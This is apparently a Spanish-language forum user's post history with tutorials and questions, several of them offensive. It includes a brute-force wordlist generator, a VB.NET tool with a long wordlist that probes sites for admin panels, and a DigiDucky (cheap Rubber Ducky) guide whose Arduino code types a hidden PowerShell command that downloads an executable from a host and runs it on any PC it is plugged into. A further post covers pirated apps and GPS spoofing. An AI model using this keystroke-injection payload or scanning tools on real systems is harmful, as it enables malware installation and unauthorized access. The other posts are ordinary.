HOLA!!!

Hoy veremos como crear un Creador de Diccionarios con No tienes permitido ver los links. Registrarse o Entrar a mi cuenta!

1)Primero crearemos el proyecto


2)Luego en el Form1 Realizar la siguente interfaz (respetando los nombres de los controles):

2.b) si queremos les ponemos los .Text para que quede asi:


3)Codigo:
3.a)Arriba de la clase Form1 ponemos lo siguiente:
Código: vbnet
Imports System.IO 'importamos esta libreria para poder trabajar con archivos


3.b)Dentro de la clase Form1 ponemos lo siguiente:
Código: vbnet

    Const Sym As String = "/\!·$%&/()='""¡¿?<>., :;-_*+" 'Simbolos
    Const Num As String = "0123456789"                   'Numeros
    Const Min As String = "abcdefghijklmnopqrstuvwxyz"   'Letras Minusculas
    Const May As String = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"   'Letras Mayusculas
    Const SpL As String = "áéíóúàèìòùâêîôûäëïöüçñ"       'Letras Especiales Minusculas
    Const SpU As String = "ÁÉÍÓÚÀÈÌÒÙÂÊÎÔÛÄËÏÖÜÇÑ"       'Letras Especiales Mayusculas


3.c)Una vez esta listo el formulario y los controles le damos doble click a btnIniciar y dejamos este codigo dentro:
Código: vbnet

        'by 79137913 for Underc0de.org
        'creamos secuencia de caracteres a utilizar
        Dim Letras As String = "" 'string que contendra todos los caracteres a combinar para hacer el diccionario
        If checkNumeros.Checked Then Letras = Letras & Num 'si Numeros esta tildado agregamos eso a la cadena
        If checkSimbolos.Checked Then Letras = Letras & Sym 'si Simbolos esta tildado agregamos eso a la cadena
        If checkMinusculas.Checked Then Letras = Letras & Min 'si Letras Minusculas esta tildado agregamos eso a la cadena
        If checkMayusculas.Checked Then Letras = Letras & May 'si Letras Mayusculas esta tildado agregamos eso a la cadena
        If checkEspMin.Checked Then Letras = Letras & SpL 'si Letras Especiales Minusculas esta tildado agregamos eso a la cadena
        If checkEspMay.Checked Then Letras = Letras & SpU 'si Letras Especiales Mayusculas esta tildado agregamos eso a la cadena
        If checkAddMore.Checked Then Letras = Letras & txtAddMore.Text 'si Agregar Siguientes Caracters esta tildado agregamos eso a la cadena

        Dim CantLet As Long = Letras.Length - 1 'cantidad de letras
        Dim BufferPalabras As Long = 10000
        Dim Palabras(BufferPalabras) As String 'aqui se guardaran las combinaciones mientras las vamos generando en este ejemplo iremos guardando de a 10000 combinaciones
        Dim CT As Long = 0 'este contador nos dira cuantas palabras estan pendientes de guardar en el archivo
        Dim UbicacionArchivo As String = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments) & "\Diccionario.txt" 'ubicacion del archivo de salida (en mis documentos)
        Dim CantPos As Long = 0 'Cantidad de letras palabra actual
        Dim Desde As Long = CInt(txtD.Text) 'desde que cantidad de caracteres
        Dim Hasta As Long = CInt(txtH.Text) 'hasta que cantidad de caracteres
        Dim Posiciones() As Long


        MsgBox("Se iniciara el proceso, puede tardar mucho, para detener cierre la aplicacion con el Administrador de Tareas.",, "ATENCION")

        Dim fs As FileStream = File.Create(UbicacionArchivo) 'creamos o sobreescribimos el archivo
        fs.Close() 'cerramos el archivo para que se pueda escribir

        For y = 0 To Hasta - Desde
            CantPos = Desde + y - 1 'establecemos el tamañode la combinacion actual
            ReDim Posiciones(CantPos)
            Do

                For x = 0 To CantPos 'una vez por cada posicion que tenga que tener la palabra
                    Palabras(CT) = Palabras(CT) & Letras(Posiciones(x)) 'armamos una combinacion uniendo los caracteres de la cadena letras
                Next x

                CT += 1 'incrementamos CT en 1
                Posiciones(0) += 1 'incrementamos la primera letra de posiciones (para que pase de "a" a "b" por ejemplo)

                For x = 0 To CantPos - 1 'nos fijamos si alguna posicion es mayor a la cantidad de letras si es asi volvemos a 0 esa posicion e incrementamos la siguiente
                    If Posiciones(x) > CantLet Then Posiciones(x) = 0 : Posiciones(x + 1) += 1
                Next

                If CT = BufferPalabras + 1 Then
                    File.AppendAllLines(UbicacionArchivo, Palabras) 'escribimos nuestro buffer de palabras en el archivo linea por linea
                    CT = 0 'volvemos el contador a 0
                    ReDim Palabras(BufferPalabras) 'borramos el buffer de palabras
                End If
            Loop Until Posiciones(CantPos) = CantLet + 1
        Next y
        If CT > 0 Then 'si hay palabras pendientes de escribir
            ReDim Preserve Palabras(CT - 1)
            File.AppendAllLines(UbicacionArchivo, Palabras) 'escribimos nuestro buffer de palabras en el archivo linea por linea
            CT = 0
        End If
        MsgBox("Terminado, mira en " & UbicacionArchivo & " , y encontraras el diccionario.",, "ATENCION")


El codigo Completo del proyecto quedaria asi:
Código: vbnet
Imports System.IO 'importamos esta libreria para poder trabajar con archivos

Public Class Form1
    Const Sym As String = "/\!·$%&/()='""¡¿?<>., :;-_*+" 'Simbolos
    Const Num As String = "0123456789"                   'Numeros
    Const Min As String = "abcdefghijklmnopqrstuvwxyz"   'Letras Minusculas
    Const May As String = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"   'Letras Mayusculas
    Const SpL As String = "áéíóúàèìòùâêîôûäëïöüçñ"       'Letras Especiales Minusculas
    Const SpU As String = "ÁÉÍÓÚÀÈÌÒÙÂÊÎÔÛÄËÏÖÜÇÑ"       'Letras Especiales Mayusculas

    Private Sub btnIniciar_Click(sender As Object, e As EventArgs) Handles btnIniciar.Click
        'by 79137913 for Underc0de.org
        'creamos secuencia de caracteres a utilizar
        Dim Letras As String = "" 'string que contendra todos los caracteres a combinar para hacer el diccionario
        If checkNumeros.Checked Then Letras = Letras & Num 'si Numeros esta tildado agregamos eso a la cadena
        If checkSimbolos.Checked Then Letras = Letras & Sym 'si Simbolos esta tildado agregamos eso a la cadena
        If checkMinusculas.Checked Then Letras = Letras & Min 'si Letras Minusculas esta tildado agregamos eso a la cadena
        If checkMayusculas.Checked Then Letras = Letras & May 'si Letras Mayusculas esta tildado agregamos eso a la cadena
        If checkEspMin.Checked Then Letras = Letras & SpL 'si Letras Especiales Minusculas esta tildado agregamos eso a la cadena
        If checkEspMay.Checked Then Letras = Letras & SpU 'si Letras Especiales Mayusculas esta tildado agregamos eso a la cadena
        If checkAddMore.Checked Then Letras = Letras & txtAddMore.Text 'si Agregar Siguientes Caracters esta tildado agregamos eso a la cadena

        Dim CantLet As Long = Letras.Length - 1 'cantidad de letras
        Dim BufferPalabras As Long = 10000
        Dim Palabras(BufferPalabras) As String 'aqui se guardaran las combinaciones mientras las vamos generando en este ejemplo iremos guardando de a 10000 combinaciones
        Dim CT As Long = 0 'este contador nos dira cuantas palabras estan pendientes de guardar en el archivo
        Dim UbicacionArchivo As String = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments) & "\Diccionario.txt" 'ubicacion del archivo de salida (en mis documentos)
        Dim CantPos As Long = 0 'Cantidad de letras palabra actual
        Dim Desde As Long = CInt(txtD.Text) 'desde que cantidad de caracteres
        Dim Hasta As Long = CInt(txtH.Text) 'hasta que cantidad de caracteres
        Dim Posiciones() As Long


        MsgBox("Se iniciara el proceso, puede tardar mucho, para detener cierre la aplicacion con el Administrador de Tareas.",, "ATENCION")

        Dim fs As FileStream = File.Create(UbicacionArchivo) 'creamos o sobreescribimos el archivo
        fs.Close() 'cerramos el archivo para que se pueda escribir

        For y = 0 To Hasta - Desde
            CantPos = Desde + y - 1 'establecemos el tamañode la combinacion actual
            ReDim Posiciones(CantPos)
            Do

                For x = 0 To CantPos 'una vez por cada posicion que tenga que tener la palabra
                    Palabras(CT) = Palabras(CT) & Letras(Posiciones(x)) 'armamos una combinacion uniendo los caracteres de la cadena letras
                Next x

                CT += 1 'incrementamos CT en 1
                Posiciones(0) += 1 'incrementamos la primera letra de posiciones (para que pase de "a" a "b" por ejemplo)

                For x = 0 To CantPos - 1 'nos fijamos si alguna posicion es mayor a la cantidad de letras si es asi volvemos a 0 esa posicion e incrementamos la siguiente
                    If Posiciones(x) > CantLet Then Posiciones(x) = 0 : Posiciones(x + 1) += 1
                Next

                If CT = BufferPalabras + 1 Then
                    File.AppendAllLines(UbicacionArchivo, Palabras) 'escribimos nuestro buffer de palabras en el archivo linea por linea
                    CT = 0 'volvemos el contador a 0
                    ReDim Palabras(BufferPalabras) 'borramos el buffer de palabras
                End If
            Loop Until Posiciones(CantPos) = CantLet + 1
        Next y
        If CT > 0 Then 'si hay palabras pendientes de escribir
            ReDim Preserve Palabras(CT - 1)
            File.AppendAllLines(UbicacionArchivo, Palabras) 'escribimos nuestro buffer de palabras en el archivo linea por linea
            CT = 0
        End If
        MsgBox("Terminado, mira en " & UbicacionArchivo & " , y encontraras el diccionario.",, "ATENCION")
    End Sub
End Class


Cuando ya colocamos el codigo solo queda iniciar (apretar F5) y empezar a usarlo, tildan los caracteres que quieren usar o ponen sus caracteres a eleccion en  el cuadro de texto y tildan el checkAddMore,luego presionan Button1 y la magia comienza:


Notas: Puede tardar mucho tiempo, pero los diccionarios siempre tardan mucho en generarse, para mejorar la performance pueden incrementar la variable BufferPalabras, pero el programa consumira mas memoria RAM.

Descargar Source: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Hecho y redactado por 79137913

Agradecimientos @ANTRAX

Brute Force Dictionary Creator VBNET

GRACIAS POR LEER!!!
#30
HOLA!!!

Hoy veremos como crear un AdminFinder con No tienes permitido ver los links. Registrarse o Entrar a mi cuenta!

1)Primero crearemos el proyecto


2)Luego en el Form1 Realizar la siguente interfaz (respetando los nombres de los controles)[atención txtPosiblesPaths y txtResultado tienen que ser multiline = true] :


3)Una vez esta listo el formulario y los controles le damos doble click a Button1 y dejamos este codigo dentro:
Código: vbnet

        'By 79137913 for http://underc0de.org
        Dim paths() As String = Split(txtPosiblesPaths.Text, vbNewLine) 'separamos los posibles path por linea
        txtResultado.Text = "" 'restablecemos el txtResultado
        For Each path In paths 'por cada linea en el cuadro de texto txtPosiblesPaths
            Try 'estructura para omitir errores
                'creamos solicitud web
                Dim request As System.Net.HttpWebRequest = System.Net.HttpWebRequest.Create(txtDestino.Text & path)
                'obtenemos su respuesta
                Dim response As System.Net.HttpWebResponse = request.GetResponse()
                'convertimos la respuesta a un stream de datos
                Dim sr As System.IO.StreamReader = New System.IO.StreamReader(response.GetResponseStream())
                'convertimos el stream en texto
                Dim sourcecode As String = sr.ReadToEnd()
                If InStr(LCase(sourcecode), "input") Then 'si la pagina obtenida contiene la etiqueta INPUT consideramos que es un admin panel
                    txtResultado.Text = txtResultado.Text & txtDestino.Text & path & vbNewLine 'agregamos una linea con el resultado satisfactorio al txtResultado
                    Me.Refresh() 'hacemos que el formulario se refresque para que se muestren los resultados
                End If
            Catch 'estructura para omitir errores
            End Try 'estructura para omitir errores
        Next
        MsgBox("Terminado!") 'avisamos que hemos terminado.


El codigo Completo del formulario quedaria asi:
Código: vbnet
Public Class Form1
    Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click
        'By 79137913 for http://underc0de.org
        Dim paths() As String = Split(txtPosiblesPaths.Text, vbNewLine) 'separamos los posibles path por linea
        txtResultado.Text = "" 'restablecemos el txtResultado
        For Each path In paths 'por cada linea en el cuadro de texto txtPosiblesPaths
            Try 'estructura para omitir errores
                'creamos solicitud web
                Dim request As System.Net.HttpWebRequest = System.Net.HttpWebRequest.Create(txtDestino.Text & path)
                'obtenemos su respuesta
                Dim response As System.Net.HttpWebResponse = request.GetResponse()
                'convertimos la respuesta a un stream de datos
                Dim sr As System.IO.StreamReader = New System.IO.StreamReader(response.GetResponseStream())
                'convertimos el stream en texto
                Dim sourcecode As String = sr.ReadToEnd()
                If InStr(LCase(sourcecode), "input") Then 'si la pagina obtenida contiene la etiqueta INPUT consideramos que es un admin panel
                    txtResultado.Text = txtResultado.Text & txtDestino.Text & path & vbNewLine 'agregamos una linea con el resultado satisfactorio al txtResultado
                    Me.Refresh() 'hacemos que el formulario se refresque para que se muestren los resultados
                End If
            Catch 'estructura para omitir errores
            End Try 'estructura para omitir errores
        Next
        MsgBox("Terminado!") 'avisamos que hemos terminado.
    End Sub
End Class


Cuando ya colocamos el codigo solo queda iniciar (apretar F5) y empezar a usarlo, colocamos en txtDestino la URL con http:// y con / al final , llenamos el txtPosiblesPaths con la lista de paths de admin que consigan (al final les dejare una a modo de ejemplo) presionan Button1 y la magia comienza:


Aqui una lista de paths de admin:
Código: text
wp-admin
admin1.php
admin1.html
admin2.php
admin2.html
yonetim.php
yonetim.html
yonetici.php
yonetici.html
adm/
admin/
admin/account.php
admin/account.html
admin/index.php
admin/index.html
admin/login.php
admin/login.html
admin/home.php
admin/controlpanel.html
admin/controlpanel.php
admin.php
admin.html
admin/cp.php
admin/cp.html
cp.php
cp.html
administrator/
administrator/index.html
administrator/index.php
administrator/login.html
administrator/login.php
administrator/account.html
administrator/account.php
administrator.php
administrator.html
login.php
login.html
modelsearch/login.php
moderator.php
moderator.html
moderator/login.php
moderator/login.html
moderator/admin.php
moderator/admin.html
moderator/
account.php
account.html
controlpanel/
controlpanel.php
controlpanel.html
admincontrol.php
admincontrol.html
adminpanel.php
adminpanel.html
admin1.asp
admin2.asp
yonetim.asp
yonetici.asp
admin/account.asp
admin/index.asp
admin/login.asp
admin/home.asp
admin/controlpanel.asp
admin.asp
admin/cp.asp
cp.asp
administrator/index.asp
administrator/login.asp
administrator/account.asp
administrator.asp
login.asp
modelsearch/login.asp
moderator.asp
moderator/login.asp
moderator/admin.asp
account.asp
controlpanel.asp
admincontrol.asp
adminpanel.asp
fileadmin/
fileadmin.php
fileadmin.asp
fileadmin.html
administration/
administration.php
administration.html
sysadmin.php
sysadmin.html
phpmyadmin/
myadmin/
sysadmin.asp
sysadmin/
ur-admin.asp
ur-admin.php
ur-admin.html
ur-admin/
Server.php
Server.html
Server.asp
Server/
wp-admin/
administr8.php
administr8.html
administr8/
administr8.asp
webadmin/
webadmin.php
webadmin.asp
webadmin.html
administratie/
admins/
admins.php
admins.asp
admins.html
administrivia/
Database_Administration/
WebAdmin/
useradmin/
sysadmins/
admin1/
system-administration/
administrators/
pgadmin/
directadmin/
staradmin/
ServerAdministrator/
SysAdmin/
administer/
LiveUser_Admin/
sys-admin/
typo3/
panel/
cpanel/
cPanel/
cpanel_file/
platz_login/
rcLogin/
blogindex/
formslogin/
autologin/
support_login/
meta_login/
manuallogin/
simpleLogin/
loginflat/
utility_login/
showlogin/
memlogin/
members/
login-redirect/
sub-login/
wp-login/
login1/
dir-login/
login_db/
xlogin/
smblogin/
customer_login/
UserLogin/
login-us/
acct_login/
admin_area/
bigadmin/
project-admins/
phppgadmin/
pureadmin/
sql-admin/
radmind/
openvpnadmin/
wizmysqladmin/
vadmind/
ezsqliteadmin/
hpwebjetadmin/
newsadmin/
adminpro/
Lotus_Domino_Admin/
bbadmin/
vmailadmin/
Indy_admin/
ccp14admin/
irc-macadmin/
banneradmin/
sshadmin/
phpldapadmin/
macadmin/
administratoraccounts/
admin4_account/
admin4_colon/
radmind-1/
Super-Admin/
AdminTools/
cmsadmin/
SysAdmin2/
globes_admin/
cadmins/
phpSQLiteAdmin/
navSiteAdmin/
server_admin_small/
logo_sysadmin/
server/
database_administration/
power_user/
system_administration/
ss_vms_admin_sm/


Descargar Source: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Hecho y redactado por 79137913

Agradecimientos @Antrax

GRACIAS POR LEER!!!
#31
HOLA!!!

En este post explicare desde cero como hacer un DigiDucky (alternativa al RubberDucky mucho mas economica).



Pasos:

1 - Comprar la placa:
Para argentinos yo compre en este tipo y no tuve ningun inconveniente No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Para el resto del Mundo pueden comprarlo de la web oficial de No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

2 - Armado de ambiernte de desarrollo:

a - Instalar el IDE de arduino. No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
b - Instalar Drivers de Digispark y las dependencias del ide mas las librerias. No tienes permitido ver los links. Registrarse o Entrar a mi cuenta (esta en ingles, pero viendo las fotos se hace facil)

3 - El codigo:
Para este post voy a traducir el No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Payload original:
Código: text
GUI r
DELAY 100
STRING powershell -NoP -NonI -W Hidden -Exec Bypass "IEX (New-Object System.Net.WebClient).DownloadFile('http://example.com/bob.txt',\"$env:temp\bob.exe\"); Start-Process \"$env:temp\bob.exe\""
ENTER


Usaremos la libreria DigiKeyboard.h que lamentablemente esta hecha para teclados con distribucion US y no para teclados españoles (que supongo que es el que mas usamos nosotros), para crear scripts para teclados españoles deberan ir probando hasta encontrar el caracter que buscan, igual en mi ejemplo pueden ver que ya estan la mayoria cambiados a los que corresponden, con esos ya van a tener de sobra para hacer un monton de scripts, igual si necesitan info de como hacer alguna tecla especifica diganme en este post y les voy diciendo.

Codigo para el IDE de arduino [SI VAMOS A USAR EL DIGIDUCKY EN UNA PC CON DISTRIBUCION DE TECLADO ES(ESPAÑOL)]:
Código: cpp

#include "DigiKeyboard.h"

#define KEY_MODIFIER_LEFT_GUI 0x08

int ciclos = 0;

void setup() {
  pinMode(1, OUTPUT);     // INICIAMOS EL PIN 1 (LED)
  digitalWrite(1, HIGH);  // ENCENDEMOS EL LED PARA SABER QUE SE INICIO EL DIGIDUCKY
}

void loop() {
  DigiKeyboard.update(); //iniciamos y mantenemos activo (keep alive) el driver de teclado

  if (ciclos == 0) { //si es el primer ciclo (esto es para que solo se ejecute una vez)
    DigiKeyboard.sendKeyStroke(0); //Enviamos una tecla vacia para iniciar la transferencia

    DigiKeyboard.delay(500); //Esperamos medio segundo para asegurarnos que la pc detecta nuestro Digispark como teclado
   
    //Codigo Payload: GUI r
    DigiKeyboard.sendKeyStroke(KEY_R,KEY_MODIFIER_LEFT_GUI); //Tecla inicio(windows) + R

    //Codigo Payload: DELAY 100
    DigiKeyboard.delay(250); // esperamos 250ms (para que se abra la ventana ejecutar) (aumente el delay a 250 por que asi es mas estable)

    //Codigo Payload: STRING powershell -NoP -NonI -W Hidden -Exec Bypass "IEX (New-Object System.Net.WebClient).DownloadFile('http://example.com/bob.txt',\"$env:temp\bob.exe\"); Start-Process \"$env:temp\bob.exe\""
    DigiKeyboard.print("powershell /NoP /NonI /W Hidden /Exec Bypass @IEX *New/Object System.Net.WebClient(.DownloadFile*-http>&&example.com&bob.txt-,@$env>temp");
    DigiKeyboard.sendKeyStroke(53, MOD_ALT_RIGHT); // escribimos la barra invertida
    DigiKeyboard.print("bob.exe@(< Start/Process @$env>temp");
    DigiKeyboard.sendKeyStroke(53, MOD_ALT_RIGHT); // escribimos la barra invertida
    DigiKeyboard.print("bob.exe@@");

    DigiKeyboard.delay(100); // Esperamos 100ms

    //Codigo Payload: ENTER
    DigiKeyboard.sendKeyStroke(KEY_ENTER); // Presionamos enter en la ventana ejecutar
   
    DigiKeyboard.delay(100); //Esperamos 100ms
  }

//SEÑAL LUMINICA (PARPADEO)
//Aca generamos la señal luminica para que sepamos que ya se ha ejecutado el script y podemos retirar el DigiDucky
  delay(150);
  digitalWrite(1, HIGH);
  delay(150);
  digitalWrite(1, LOW);
//SEÑAL LUMINICA
     
  ciclos++; //Aumentamos el contador para luego no ejecutar nuevamente la secuencia de teclado
}


Codigo para el IDE de arduino [SI VAMOS A USAR EL DIGIDUCKY EN UNA PC CON DISTRIBUCION DE TECLADO US(AMERICANO)]:
Código: cpp
#include "DigiKeyboard.h"

#define KEY_MODIFIER_LEFT_GUI 0x08

int ciclos = 0;

void setup() {
  pinMode(1, OUTPUT);     // INICIAMOS EL PIN 1 (LED)
  digitalWrite(1, HIGH);  // ENCENDEMOS EL LED PARA SABER QUE SE INICIO EL DIGIDUCKY
}

void loop() {
  DigiKeyboard.update(); //iniciamos y mantenemos activo (keep alive) el driver de teclado

  if (ciclos == 0) { //si es el primer ciclo (esto es para que solo se ejecute una vez)
    DigiKeyboard.sendKeyStroke(0); //Enviamos una tecla vacia para iniciar la transferencia

    DigiKeyboard.delay(500); //Esperamos medio segundo para asegurarnos que la pc detecta nuestro Digispark como teclado
   
    //Codigo Payload: GUI r
    DigiKeyboard.sendKeyStroke(KEY_R,KEY_MODIFIER_LEFT_GUI); //Tecla inicio(windows) + R

    //Codigo Payload: DELAY 100
    DigiKeyboard.delay(250); // esperamos 250ms (para que se abra la ventana ejecutar) (aumente el delay a 250 por que asi es mas estable)

    //Codigo Payload: STRING powershell -NoP -NonI -W Hidden -Exec Bypass "IEX (New-Object System.Net.WebClient).DownloadFile('http://example.com/bob.txt',\"$env:temp\bob.exe\"); Start-Process \"$env:temp\bob.exe\""
    DigiKeyboard.print("powershell -NoP -NonI -W Hidden -Exec Bypass \"IEX (New-Object System.Net.WebClient).DownloadFile('http://example.com/bob.txt',\"$env:temp\bob.exe\"); Start-Process \"$env:temp\bob.exe\"\"");

    DigiKeyboard.delay(100); // Esperamos 100ms

    //Codigo Payload: ENTER
    DigiKeyboard.sendKeyStroke(KEY_ENTER); // Presionamos enter en la ventana ejecutar
   
    DigiKeyboard.delay(100); //Esperamos 100ms
  }

//SEÑAL LUMINICA (PARPADEO)
//Aca generamos la señal luminica para que sepamos que ya se ha ejecutado el script y podemos retirar el DigiDucky
  delay(150);
  digitalWrite(1, HIGH);
  delay(150);
  digitalWrite(1, LOW);
//SEÑAL LUMINICA
     
  ciclos++; //Aumentamos el contador para luego no ejecutar nuevamente la secuencia de teclado
}


4 - Compilar y subir:
Colocamos subir en el IDE de arduino y ahi conectamos el Digispark para que se grabe el script.

5 - A divertirse:

Conecten el DigiDucky en cualquier pc y vean la magia!


Notas al pie:
El digispark no se lleva bien con los puertos USB de las pcs, por lo que es recomendable conectarlo a traves de un adaptador.
Yo use estos 2 y funcionaron bien:
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta (este no funciona para pasar el script, solo para ejecutarlo):



ACTUALIZACION: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

GRACIAS POR LEER!!!
#32
HOLA!!!

Muy buenos dias, quisiera saber si alguien me puede ayudar a eliminar una instancia de unos event handlers en JS.

Estoy utilizando No tienes permitido ver los links. Registrarse o Entrar a mi cuenta en una app hecha en phonegap, en la cual cargo su contenido por medio de ajax (es decir siempre estoy en la misma pagina y las declaraciones JS persisten). Mi problema es que, cuando cargo el calendario por primera vez no hay problema funciona perfecto, la segunda vez cada vez que se presiona un boton el evento click se dispara 2 veces y asi segun las veces que se haya cargado el elemento.

Mi pregunta es, puedo eliminar esos handlers sin modificar Monthly?
en caso afirmativo, Como?
en caso negativo, Como deberia modificarlo?

Yo necesitaria que cada vez que se llame al evento Monthly se eliminen las instancias anteriores, Desde ya muchas gracias.

Solo busco orientacion. Saludos.

GRACIAS POR LEER!!!
#33
HOLA!!!

Chicos, quisiera saber si alguno me puede dar unos tips para mejorar el rendimiento del IIS y el SQLServer (desde el punto de vista de la configuracion).

Muchisimas Gracias!

GRACIAS POR LEER!!!
#34
Dudas y pedidos generales / Crack Rijndael256
Octubre 21, 2016, 01:14:38 PM
HOLA!!!

Chicos queria saber si alguno sabe cuanto tiempo se tarda en desencriptar un cifrado Rijndael con Key de 256 bits e IV de 256 bits.

Y en el caso de ser crackeado, que se obtiene? El texto cifrado, la key y el IV ? Todos , algunos.

Que tan facil es desencriptarlo?

Hay tools para ello?

GRACIAS POR LEER!!!
#35
HOLA!!!

El sitio web de e-Books Packt publicó un informe. El informe muestra datos estadísticos basados ​​en una encuestas realizada a más de 11,000 profesionales IT sobre los lenguajes de programación mejor pagos de 2016.

Existen muchos lenguajes de programación y miles de desarrolladores trabajan en ellos. Aprender algunos de estos lenguajes de programación vale la pena más que otros, en términos de salario. Packt, un sitio web de libros electrónicos, ha publicado Skill-UP 2016, un informe sobre una encuesta que involucra las estadísticas recogidas de 11,500 desarrolladores de todo el mundo.

El informe describe las tendencias de popularidad entre los diversos lenguajes de programación utilizados por los principales profesionales IT y desarrolladores. El mayor número de encuestados eran de los EE.UU. seguido por el Reino Unido.

Los lenguajes de programación más populares
Según el mencionado informe, los lenguajes de programación más populares son:
-JavaScript
-Python
-Java
-C
-SQL

La necesidad de JavaScript se intensifica a medida que más y más aplicaciones de negocios están cambiando los navegadores web. Python es un lenguaje versátil, que puede ser utilizado en el pentesting. Es ampliamente utilizado en diversas organizaciones como D-Link, HP, Philips, entre otros.

Sin embargo, estos lenguajes de programación no son los mejores desde el punto de vista financiero. A pesar de su éxito, los desarrolladores no acceden (generalmente) a los trabajos de programación mejor remunerados.

Los lenguajes de programación que pueden volver rico a los desarrolladores suelen ser no muy populares.

Los resultados de la encuesta revelan cuales son los lenguajes de programación mejor remunerados (salario promedio mensual en dólares estadounidenses):



Los 5 lenguajes de programación mejor pagados de 2016
-Bash - $ 100,000
-Perl - $ 95.000
-Scala - $ 90,000
-SQL - $ 62.000
-Delphi - $ 60,000



Los programadores expertos suelen adoptar lenguajes como Bash y Perl. Por ello, estos lenguajes de programación son los preferidos por las empresas a la hora de pagar un buen salario.

Llama la atención que Go de Google aparezca mejor posicionado que el año anterior, incluso por encima de Swift, el lenguaje de programación de ecosistema Apple.
En cuanto a los Frameworks Web más populares, AngularJS es el líder.


#UNDERtips visita:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

GRACIAS POR LEER!!!
#36
HOLA!!!

Electrones en Acción: Electrónica y Arduinos para tus propios Inventos



Universidad: Pontificia Universidad Católica de Chile

Este curso introduce al alumno a la electrónica y los Arduinos, comenzando desde lo más básico de un circuito eléctrico y finalizando con el diseño de circuitos de baja complejidad empleando dispositivos electrónicos programables. Durante el curso los alumnos aprenderán los fundamentos básicos de la electricidad y de la electrónica, conocerán los diferentes bloques empleados en el diseño de un circuito electrónico, aprenderán las bases del diseño de circuitos analógicos y digitales, y serán introducidos a la programación de estos últimos empleando la plataforma Arduino.

El curso apunta a estudiante de último año de educación escolar y primer año de educación universitaria, o cualquier otro alumno con suficiente motivación como para llevar a cabo sus propios experimentos y seguir aprendiendo en el futuro.

Si bien no es un requisito esencial, los alumnos que tengan nociones de cálculo diferencial e integral podrán entender mejor algunos tópicos específicos, que no son estrictamente necesarios para concluir el curso.

El curso incluye demostraciones de dispositivos electromecánicos sencillos controlados mediante un Arduino. Cada circuito demostrativo lleva asociado un diagrama de conexiones y un programa, ambos debidamente explicados, para facilitar que sean replicados por los alumnos empleando la plataforma Arduino.

El curso dura 4 semanas y se estima que a los alumnos les tome 4-6 horas/semana.

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

GRACIAS POR LEER!!!
#37
HOLA!!!



A todos nos pasa siempre que queremos limpiar el teclado, esta lleno de migas y demas cosas:


Pero no hay que llegar a eso, podemos limpiarlo progresivamente con nuestro GEL LIMPIA TECLADOS ®

Sin mas, a las instrucciones:

Materiales:

    1 taza de agua tibia.
    1 cdta. de almidón líquido.
    140 g de pegamento blanco.
    Colorante alimenticio.
    Recipiente para mezclar.

Procedimiento:

    Lo primero que debes hacer es agregar almidón en 1/2 taza de agua tibia y mezcla todo bien.
    Luego, agrega el pegamento en el recipiente, 1/2 taza de agua tibia y una gotas de colorante alimenticio. Revuelve todo muy bien.
    Añade la solución de agua con almidón ahí mismo y amasa hasta que obtengas una masa elástica, seca y sólida.
    Almacena este trapo en un contenedor hermético, y listo... ¡ahora sí puedes comenzar a limpiar!

GRACIAS POR LEER!!!
#38
HOLA!!!

En este post se utilizarán técnicas no permitidas y software pirateado, por favor relizar bajo su propia responsabilidad, Pikachu Pirata los esta vigilando



Primero y principal vamos a tener que tener nuestro dispositivo rooteado.

Luego descargaremos (NO INSTALAREMOS) los siguientes APK:
    No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
    No tienes permitido ver los links. Registrarse o Entrar a mi cuenta (Pass: 79137913)

Despues instalaremos el lucky patcher, una vez instalado correctamente y habiendole dado derechos root iremos en la parte inferior haciendo swipes hacia la izquierda a la opcion que dice Rearmar e Instalar, ahi buscaremos el apk del Fake GPS Location Spoofer y pondremos "instalar como aplicacion de sistema".

Una vez hecho todo esto verificamos que tengamos DESTILDADO "Habilitar ubicaciones falsas" en Settings>Herramientas de desarrollador.

Por ultimo entramos a la aplicacion que instalamos llamada Fake GPS Location Spoofer, e iremos a los tres puntitos, en el menu tildaremos "Expert Mode", ahi bajamos al final y tildamos "Move around fake location" dos lineas mas abajo setearemos la distancia para deambular en mas de 100 metros y menos de 1000 y finalmente salimos a la aplicacion principal y nos ubicamos en EEUU, España, Australia, etc...

Espero que les haya servido.

GRACIAS POR LEER!!!
#39
ASM / [FASM] Fresh IDE
Julio 12, 2016, 08:25:25 AM
HOLA!!!

Fresh IDE FASM inside
flat assembler visual programming IDE


Fresh IDE es un IDE visual para el lenguaje ensamblador con un compilador integrado Flat assembler (FASM). Está escrito en Fresh IDE y es una aplicación independiente compilable. Es totalmente compatible con FASM y puede ser compilado también con todas las versiones de FASM. El objetivo principal de Fresh IDE es hacer la programación en ensamblador tan rápido y eficiente como en los lenguajes de alto nivel, sin sacrificar el tamaño de una pequeña aplicación que potencia el lenguaje ensamblador. Se trata de una aplicación Windows, pero se ejecuta en Wine muy bien y puede crear, compilar, depurar y ejecutar aplicaciones para Windows y Linux en Windows y Linux.

Screenshots:
Linux:

Windows:


Descarga:
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

GRACIAS POR LEER!!!
#40
Underc0de / [JUEGO] Jump the Rope por 79137913
Julio 06, 2016, 11:20:12 AM
HOLA!!!

Encontre en mis bibliotecas de codigo un juego que cree en 2014 con GameMaker...



Las reglas son simples, imaginemos que el circulo de colores es una cuerda que tenemos que saltar, y cuando apretamos el boton estamos en el piso, debemos tocar el piso entre vuelta y vuelta de la cuerda y para ganar mas puntos debemos mantener mas tiempo apretado el boton!

Para disfrutarlo necesitan sonido, precision y NO SER EPILEPTICOS.

Descargar:
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Publica tu puntaje con una captura de pantalla en este post!
Sabran que llegaron lejos cuando el fondo se vea de color BLANCO

